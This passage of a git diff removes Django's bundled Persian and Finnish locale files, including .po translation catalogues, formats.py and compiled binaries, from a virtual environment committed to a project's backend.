%(message)s" -msgstr "صفحه‌ی اشتباه (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "لیست خالی و \"%(class_name)s.allow_empty\" برابر False است." - -msgid "Directory indexes are not allowed here." -msgstr "شاخص دایرکتوری اینجا قابل قبول نیست." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" وجود ندارد " - -#, python-format -msgid "Index of %(directory)s" -msgstr "فهرست %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "نصب درست کار کرد. تبریک می گویم!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"نمایش release notes برای نسخه %(version)s " -"جنگو" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"شما این صفحه را به این دلیل مشاهده می کنید که DEBUG=True در فایل تنظیمات شما وجود دارد و شما هیچ URL " -"تنظیم نکرده اید." - -msgid "Django Documentation" -msgstr "مستندات جنگو" - -msgid "Topics, references, & how-to’s" -msgstr "سرفصل‌ها، منابع و دستورالعمل‌ها" - -msgid "Tutorial: A Polling App" -msgstr "آموزش گام به گام: برنامکی برای رأی‌گیری" - -msgid "Get started with Django" -msgstr "شروع به کار با جنگو" - -msgid "Django Community" -msgstr "جامعهٔ جنگو" - -msgid "Connect, get help, or contribute" -msgstr "متصل شوید، کمک بگیرید یا مشارکت کنید" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fa/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fa/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fa/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fa/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5a7030fb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fa/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fa/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fa/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index f82e6300..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fa/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fa/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fa/formats.py deleted file mode 100644 index e7019bc7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fa/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j F Y، ساعت G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "Y/n/j" -SHORT_DATETIME_FORMAT = "Y/n/j،‏ G:i" -FIRST_DAY_OF_WEEK = 6 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fi/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/fi/LC_MESSAGES/django.mo deleted file mode 100644 index 9f2e77d0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fi/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fi/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/fi/LC_MESSAGES/django.po deleted file mode 100644 index 9eefc888..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fi/LC_MESSAGES/django.po +++ /dev/null @@ -1,1341 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aarni Koskela, 2015,2017-2018,2020-2022,2025 -# Antti Kaihola , 2011 -# Jannis Leidel , 2011 -# Jiri Grönroos , 2021,2023 -# Lasse Liehu-Inui , 2015 -# Mika Mäkelä , 2018 -# Klaus Dahlén, 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Aarni Koskela, 2015,2017-2018,2020-2022,2025\n" -"Language-Team: Finnish (http://app.transifex.com/django/django/language/" -"fi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fi\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "afrikaans" - -msgid "Arabic" -msgstr "arabia" - -msgid "Algerian Arabic" -msgstr "Algerian arabia" - -msgid "Asturian" -msgstr "asturian kieli" - -msgid "Azerbaijani" -msgstr "azeri" - -msgid "Bulgarian" -msgstr "bulgaria" - -msgid "Belarusian" -msgstr "valkovenäjän kieli" - -msgid "Bengali" -msgstr "bengali" - -msgid "Breton" -msgstr "bretoni" - -msgid "Bosnian" -msgstr "bosnia" - -msgid "Catalan" -msgstr "katalaani" - -msgid "Central Kurdish (Sorani)" -msgstr "Keskikurdi (sorani)" - -msgid "Czech" -msgstr "tšekki" - -msgid "Welsh" -msgstr "wales" - -msgid "Danish" -msgstr "tanska" - -msgid "German" -msgstr "saksa" - -msgid "Lower Sorbian" -msgstr "Alasorbi" - -msgid "Greek" -msgstr "kreikka" - -msgid "English" -msgstr "englanti" - -msgid "Australian English" -msgstr "australianenglanti" - -msgid "British English" -msgstr "brittienglanti" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "espanja" - -msgid "Argentinian Spanish" -msgstr "Argentiinan espanja" - -msgid "Colombian Spanish" -msgstr "Kolumbian espanja" - -msgid "Mexican Spanish" -msgstr "Meksikon espanja" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguan espanja" - -msgid "Venezuelan Spanish" -msgstr "Venezuelan espanja" - -msgid "Estonian" -msgstr "viro" - -msgid "Basque" -msgstr "baski" - -msgid "Persian" -msgstr "persia" - -msgid "Finnish" -msgstr "suomi" - -msgid "French" -msgstr "ranska" - -msgid "Frisian" -msgstr "friisi" - -msgid "Irish" -msgstr "irlanti" - -msgid "Scottish Gaelic" -msgstr "skottilainen gaeli" - -msgid "Galician" -msgstr "galicia" - -msgid "Hebrew" -msgstr "heprea" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "kroatia" - -msgid "Upper Sorbian" -msgstr "Yläsorbi" - -msgid "Hungarian" -msgstr "unkari" - -msgid "Armenian" -msgstr "armenian kieli" - -msgid "Interlingua" -msgstr "interlingua" - -msgid "Indonesian" -msgstr "indonesia" - -msgid "Igbo" -msgstr "igbo" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islanti" - -msgid "Italian" -msgstr "italia" - -msgid "Japanese" -msgstr "japani" - -msgid "Georgian" -msgstr "georgia" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "kazakin kieli" - -msgid "Khmer" -msgstr "khmerin kieli" - -msgid "Kannada" -msgstr "kannada" - -msgid "Korean" -msgstr "korea" - -msgid "Kyrgyz" -msgstr "kirgiisi" - -msgid "Luxembourgish" -msgstr "luxemburgin kieli" - -msgid "Lithuanian" -msgstr "liettua" - -msgid "Latvian" -msgstr "latvia" - -msgid "Macedonian" -msgstr "makedonia" - -msgid "Malayalam" -msgstr "malajalam" - -msgid "Mongolian" -msgstr "mongolia" - -msgid "Marathi" -msgstr "marathi" - -msgid "Malay" -msgstr "malaiji" - -msgid "Burmese" -msgstr "burman kieli" - -msgid "Norwegian Bokmål" -msgstr "norja (bokmål)" - -msgid "Nepali" -msgstr "nepalin kieli" - -msgid "Dutch" -msgstr "hollanti" - -msgid "Norwegian Nynorsk" -msgstr "norja (uusnorja)" - -msgid "Ossetic" -msgstr "osseetin kieli" - -msgid "Punjabi" -msgstr "punjabin kieli" - -msgid "Polish" -msgstr "puola" - -msgid "Portuguese" -msgstr "portugali" - -msgid "Brazilian Portuguese" -msgstr "brasilian portugali" - -msgid "Romanian" -msgstr "romania" - -msgid "Russian" -msgstr "venäjä" - -msgid "Slovak" -msgstr "slovakia" - -msgid "Slovenian" -msgstr "slovenia" - -msgid "Albanian" -msgstr "albaani" - -msgid "Serbian" -msgstr "serbia" - -msgid "Serbian Latin" -msgstr "serbian latina" - -msgid "Swedish" -msgstr "ruotsi" - -msgid "Swahili" -msgstr "swahili" - -msgid "Tamil" -msgstr "tamili" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "tadžikki" - -msgid "Thai" -msgstr "thain kieli" - -msgid "Turkmen" -msgstr "turkmeeni" - -msgid "Turkish" -msgstr "turkki" - -msgid "Tatar" -msgstr "tataarin kieli" - -msgid "Udmurt" -msgstr "udmurtti" - -msgid "Uyghur" -msgstr "uiguuri" - -msgid "Ukrainian" -msgstr "ukraina" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "uzbekki" - -msgid "Vietnamese" -msgstr "vietnam" - -msgid "Simplified Chinese" -msgstr "kiina (yksinkertaistettu)" - -msgid "Traditional Chinese" -msgstr "kiina (perinteinen)" - -msgid "Messages" -msgstr "Viestit" - -msgid "Site Maps" -msgstr "Sivukartat" - -msgid "Static Files" -msgstr "Staattiset tiedostot" - -msgid "Syndication" -msgstr "Syndikointi" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Annettu sivunumero ei ole kokonaisluku" - -msgid "That page number is less than 1" -msgstr "Annettu sivunumero on alle 1" - -msgid "That page contains no results" -msgstr "Annetulla sivulla ei ole tuloksia" - -msgid "Enter a valid value." -msgstr "Syötä oikea arvo." - -msgid "Enter a valid domain name." -msgstr "Syötä kelvollinen domainnimi." - -msgid "Enter a valid URL." -msgstr "Syötä oikea URL-osoite." - -msgid "Enter a valid integer." -msgstr "Syötä kelvollinen kokonaisluku." - -msgid "Enter a valid email address." -msgstr "Syötä kelvollinen sähköpostiosoite." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Anna lyhytnimi joka koostuu vain kirjaimista, numeroista sekä ala- ja " -"tavuviivoista." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Anna lyhytnimi joka koostuu vain Unicode-kirjaimista, numeroista sekä ala- " -"ja tavuviivoista." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Syötä kelvollinen %(protocol)s-osoite." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4- tai IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Vain pilkulla erotetut numeromerkit kelpaavat tässä." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Tämän arvon on oltava %(limit_value)s (nyt %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Tämän arvon on oltava enintään %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Tämän luvun on oltava vähintään %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Tämän arvon tulee olla askelkoon %(limit_value)smonikerta. " - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Tämän arvon tulee olla arvon %(limit_value)smonikerta, alkaen luvusta " -"%(offset)s, eli esim. %(offset)s, %(valid_value1)s, %(valid_value2)s, jne." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Varmista, että tämä arvo on vähintään %(limit_value)d merkin pituinen (tällä " -"hetkellä %(show_value)d)." -msgstr[1] "" -"Tämän arvon tulee olla vähintään %(limit_value)d merkkiä pitkä (tällä " -"hetkellä %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Varmista, että tämä arvo on enintään %(limit_value)d merkin pituinen (tällä " -"hetkellä %(show_value)d)." -msgstr[1] "" -"Tämän arvon tulee olla enintään %(limit_value)d merkkiä pitkä (tällä " -"hetkellä %(show_value)d)." - -msgid "Enter a number." -msgstr "Syötä luku." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Tässä luvussa voi olla yhteensä enintään %(max)s numero." -msgstr[1] "Tässä luvussa voi olla yhteensä enintään %(max)s numeroa." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Tässä luvussa saa olla enintään %(max)s desimaali." -msgstr[1] "Tässä luvussa saa olla enintään %(max)s desimaalia." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Tässä luvussa saa olla enintään %(max)s numero ennen desimaalipilkkua." -msgstr[1] "" -"Tässä luvussa saa olla enintään %(max)s numeroa ennen desimaalipilkkua." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Pääte \"%(extension)s\" ei ole sallittu. Sallittuja päätteitä ovat " -"\"%(allowed_extensions)s\"." - -msgid "Null characters are not allowed." -msgstr "Tyhjiä merkkejä (null) ei sallita." - -msgid "and" -msgstr "ja" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s jolla on nämä %(field_labels)s on jo olemassa." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Rajoitetta \"%(name)s\" loukataan." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Arvo %(value)r ei kelpaa." - -msgid "This field cannot be null." -msgstr "Tämän kentän arvo ei voi olla \"null\"." - -msgid "This field cannot be blank." -msgstr "Tämä kenttä ei voi olla tyhjä." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s jolla on tämä %(field_label)s, on jo olemassa." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"\"%(field_label)s\"-kentän on oltava uniikki suhteessa: %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Kenttä tyyppiä: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "%(value)s-arvo pitää olla joko tosi tai epätosi." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "%(value)s-arvo pitää olla joko tosi, epätosi tai ei mitään." - -msgid "Boolean (Either True or False)" -msgstr "Totuusarvo: joko tosi (True) tai epätosi (False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Merkkijono (enintään %(max_length)s merkkiä)" - -msgid "String (unlimited)" -msgstr "Merkkijono (rajoittamaton)" - -msgid "Comma-separated integers" -msgstr "Pilkulla erotetut kokonaisluvut" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"%(value)s-arvo on väärässä päivämäärämuodossa. Sen tulee olla VVVV-KK-PP -" -"muodossa." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"%(value)s-arvo on oikeassa päivämäärämuodossa (VVVV-KK-PP), muttei ole " -"kelvollinen päivämäärä." - -msgid "Date (without time)" -msgstr "Päivämäärä (ilman kellonaikaa)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"%(value)s-arvon muoto ei kelpaa. Se tulee olla VVVV-KK-PP TT:MM[:ss[.uuuuuu]]" -"[TZ] -muodossa." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"%(value)s-arvon muoto on oikea (VVVV-KK-PP TT:MM[:ss[.uuuuuu]][TZ]), mutta " -"päivämäärä/aika ei ole kelvollinen." - -msgid "Date (with time)" -msgstr "Päivämäärä ja kellonaika" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "%(value)s-arvo tulee olla desimaaliluku." - -msgid "Decimal number" -msgstr "Desimaaliluku" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "%(value)s-arvo pitää olla muodossa [PP] TT:MM[:ss[.uuuuuu]]." - -msgid "Duration" -msgstr "Kesto" - -msgid "Email address" -msgstr "Sähköpostiosoite" - -msgid "File path" -msgstr "Tiedostopolku" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "%(value)s-arvo tulee olla liukuluku." - -msgid "Floating point number" -msgstr "Liukuluku" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "%(value)s-arvo tulee olla kokonaisluku." - -msgid "Integer" -msgstr "Kokonaisluku" - -msgid "Big (8 byte) integer" -msgstr "Suuri (8-tavuinen) kokonaisluku" - -msgid "Small integer" -msgstr "Pieni kokonaisluku" - -msgid "IPv4 address" -msgstr "IPv4-osoite" - -msgid "IP address" -msgstr "IP-osoite" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "%(value)s-arvo tulee olla joko ei mitään, tosi tai epätosi." - -msgid "Boolean (Either True, False or None)" -msgstr "Totuusarvo: joko tosi (True), epätosi (False) tai ei mikään (None)" - -msgid "Positive big integer" -msgstr "Suuri positiivinen kokonaisluku" - -msgid "Positive integer" -msgstr "Positiivinen kokonaisluku" - -msgid "Positive small integer" -msgstr "Pieni positiivinen kokonaisluku" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Lyhytnimi (enintään %(max_length)s merkkiä)" - -msgid "Text" -msgstr "Tekstiä" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "%(value)s-arvo pitää olla muodossa TT:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"%(value)s-arvo on oikeassa muodossa (TT:MM[:ss[.uuuuuu]]), mutta kellonaika " -"ei kelpaa." - -msgid "Time" -msgstr "Kellonaika" - -msgid "URL" -msgstr "URL-osoite" - -msgid "Raw binary data" -msgstr "Raaka binaaridata" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "%(value)s ei ole kelvollinen UUID." - -msgid "Universally unique identifier" -msgstr "UUID-tunnus" - -msgid "File" -msgstr "Tiedosto" - -msgid "Image" -msgstr "Kuva" - -msgid "A JSON object" -msgstr "JSON-tietue" - -msgid "Value must be valid JSON." -msgstr "Arvon pitää olla kelvollista JSONia." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Vierasavain (tyyppi määräytyy liittyvän kentän mukaan)" - -msgid "One-to-one relationship" -msgstr "Yksi-yhteen -relaatio" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s -suhde" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s -suhteet" - -msgid "Many-to-many relationship" -msgstr "Moni-moneen -relaatio" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Tämä kenttä vaaditaan." - -msgid "Enter a whole number." -msgstr "Syötä kokonaisluku." - -msgid "Enter a valid date." -msgstr "Syötä oikea päivämäärä." - -msgid "Enter a valid time." -msgstr "Syötä oikea kellonaika." - -msgid "Enter a valid date/time." -msgstr "Syötä oikea pvm/kellonaika." - -msgid "Enter a valid duration." -msgstr "Syötä oikea kesto." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Päivien määrä täytyy olla välillä {min_days} ja {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Tiedostoa ei lähetetty. Tarkista lomakkeen koodaus (encoding)." - -msgid "No file was submitted." -msgstr "Yhtään tiedostoa ei ole lähetetty." - -msgid "The submitted file is empty." -msgstr "Lähetetty tiedosto on tyhjä." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Varmista, että tämä tiedostonimi on enintään %(max)d merkin pituinen (tällä " -"hetkellä %(length)d)." -msgstr[1] "" -"Tämän tiedostonimen pituus tulee olla enintään %(max)d merkkiä pitkä (tällä " -"hetkellä %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Voit joko lähettää tai poistaa tiedoston, muttei kumpaakin samalla." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Kuva ei kelpaa. Lähettämäsi tiedosto ei ole kuva, tai tiedosto on vioittunut." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Valitse oikea vaihtoehto. %(value)s ei ole vaihtoehtojen joukossa." - -msgid "Enter a list of values." -msgstr "Syötä lista." - -msgid "Enter a complete value." -msgstr "Syötä kokonainen arvo." - -msgid "Enter a valid UUID." -msgstr "Syötä oikea UUID." - -msgid "Enter a valid JSON." -msgstr "Syötä oikea JSON-arvo." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Piilokenttä %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm-tiedot puuttuvat tai niitä on muutettu. Puuttuvat kentät ovat " -"%(field_names)s. Jos ongelma toistuu, voi olla että joudut raportoimaan " -"tämän bugina." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Lähetä enintään%(num)d lomake." -msgstr[1] "Lähetä enintään %(num)d lomaketta." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Lähetä vähintään %(num)d lomake." -msgstr[1] "Lähetä vähintään %(num)d lomaketta. " - -msgid "Order" -msgstr "Järjestys" - -msgid "Delete" -msgstr "Poista" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Korjaa kaksoisarvo kentälle %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Ole hyvä ja korjaa uniikin kentän %(field)s kaksoisarvo." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Korjaa alla olevat kaksoisarvot." - -msgid "The inline value did not match the parent instance." -msgstr "Liittyvä arvo ei vastannut vanhempaa instanssia." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Valitse oikea vaihtoehto. Valintasi ei löydy vaihtoehtojen joukosta." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" ei ole kelvollinen arvo." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s -arvoa ei pystytty lukemaan aikavyöhykkeellä " -"%(current_timezone)s; se saattaa olla moniarvoinen tai määrittämätön." - -msgid "Clear" -msgstr "Poista" - -msgid "Currently" -msgstr "Tällä hetkellä" - -msgid "Change" -msgstr "Muokkaa" - -msgid "Unknown" -msgstr "Tuntematon" - -msgid "Yes" -msgstr "Kyllä" - -msgid "No" -msgstr "Ei" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "kyllä,ei,ehkä" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d tavu" -msgstr[1] "%(size)d tavua" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "ip" - -msgid "a.m." -msgstr "ap" - -msgid "PM" -msgstr "IP" - -msgid "AM" -msgstr "AP" - -msgid "midnight" -msgstr "keskiyö" - -msgid "noon" -msgstr "keskipäivä" - -msgid "Monday" -msgstr "maanantai" - -msgid "Tuesday" -msgstr "tiistai" - -msgid "Wednesday" -msgstr "keskiviikko" - -msgid "Thursday" -msgstr "torstai" - -msgid "Friday" -msgstr "perjantai" - -msgid "Saturday" -msgstr "lauantai" - -msgid "Sunday" -msgstr "sunnuntai" - -msgid "Mon" -msgstr "ma" - -msgid "Tue" -msgstr "ti" - -msgid "Wed" -msgstr "ke" - -msgid "Thu" -msgstr "to" - -msgid "Fri" -msgstr "pe" - -msgid "Sat" -msgstr "la" - -msgid "Sun" -msgstr "su" - -msgid "January" -msgstr "tammikuu" - -msgid "February" -msgstr "helmikuu" - -msgid "March" -msgstr "maaliskuu" - -msgid "April" -msgstr "huhtikuu" - -msgid "May" -msgstr "toukokuu" - -msgid "June" -msgstr "kesäkuu" - -msgid "July" -msgstr "heinäkuu" - -msgid "August" -msgstr "elokuu" - -msgid "September" -msgstr "syyskuu" - -msgid "October" -msgstr "lokakuu" - -msgid "November" -msgstr "marraskuu" - -msgid "December" -msgstr "joulukuu" - -msgid "jan" -msgstr "tam" - -msgid "feb" -msgstr "hel" - -msgid "mar" -msgstr "maa" - -msgid "apr" -msgstr "huh" - -msgid "may" -msgstr "tou" - -msgid "jun" -msgstr "kes" - -msgid "jul" -msgstr "hei" - -msgid "aug" -msgstr "elo" - -msgid "sep" -msgstr "syy" - -msgid "oct" -msgstr "lok" - -msgid "nov" -msgstr "mar" - -msgid "dec" -msgstr "jou" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "tammi" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "helmi" - -msgctxt "abbrev. month" -msgid "March" -msgstr "maalis" - -msgctxt "abbrev. month" -msgid "April" -msgstr "huhti" - -msgctxt "abbrev. month" -msgid "May" -msgstr "touko" - -msgctxt "abbrev. month" -msgid "June" -msgstr "kesä" - -msgctxt "abbrev. month" -msgid "July" -msgstr "heinä" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "elo" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "syys" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "loka" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "marras" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "joulu" - -msgctxt "alt. month" -msgid "January" -msgstr "tammikuuta" - -msgctxt "alt. month" -msgid "February" -msgstr "helmikuuta" - -msgctxt "alt. month" -msgid "March" -msgstr "maaliskuuta" - -msgctxt "alt. month" -msgid "April" -msgstr "huhtikuuta" - -msgctxt "alt. month" -msgid "May" -msgstr "toukokuuta" - -msgctxt "alt. month" -msgid "June" -msgstr "kesäkuuta" - -msgctxt "alt. month" -msgid "July" -msgstr "heinäkuuta" - -msgctxt "alt. month" -msgid "August" -msgstr "elokuuta" - -msgctxt "alt. month" -msgid "September" -msgstr "syyskuuta" - -msgctxt "alt. month" -msgid "October" -msgstr "lokakuuta" - -msgctxt "alt. month" -msgid "November" -msgstr "marraskuuta" - -msgctxt "alt. month" -msgid "December" -msgstr "joulukuuta" - -msgid "This is not a valid IPv6 address." -msgstr "Tämä ei ole kelvollinen IPv6-osoite." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "tai" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d vuosi" -msgstr[1] "%(num)d vuotta" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d kuukausi" -msgstr[1] "%(num)d kuukautta " - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d viikko" -msgstr[1] "%(num)d viikkoa" - 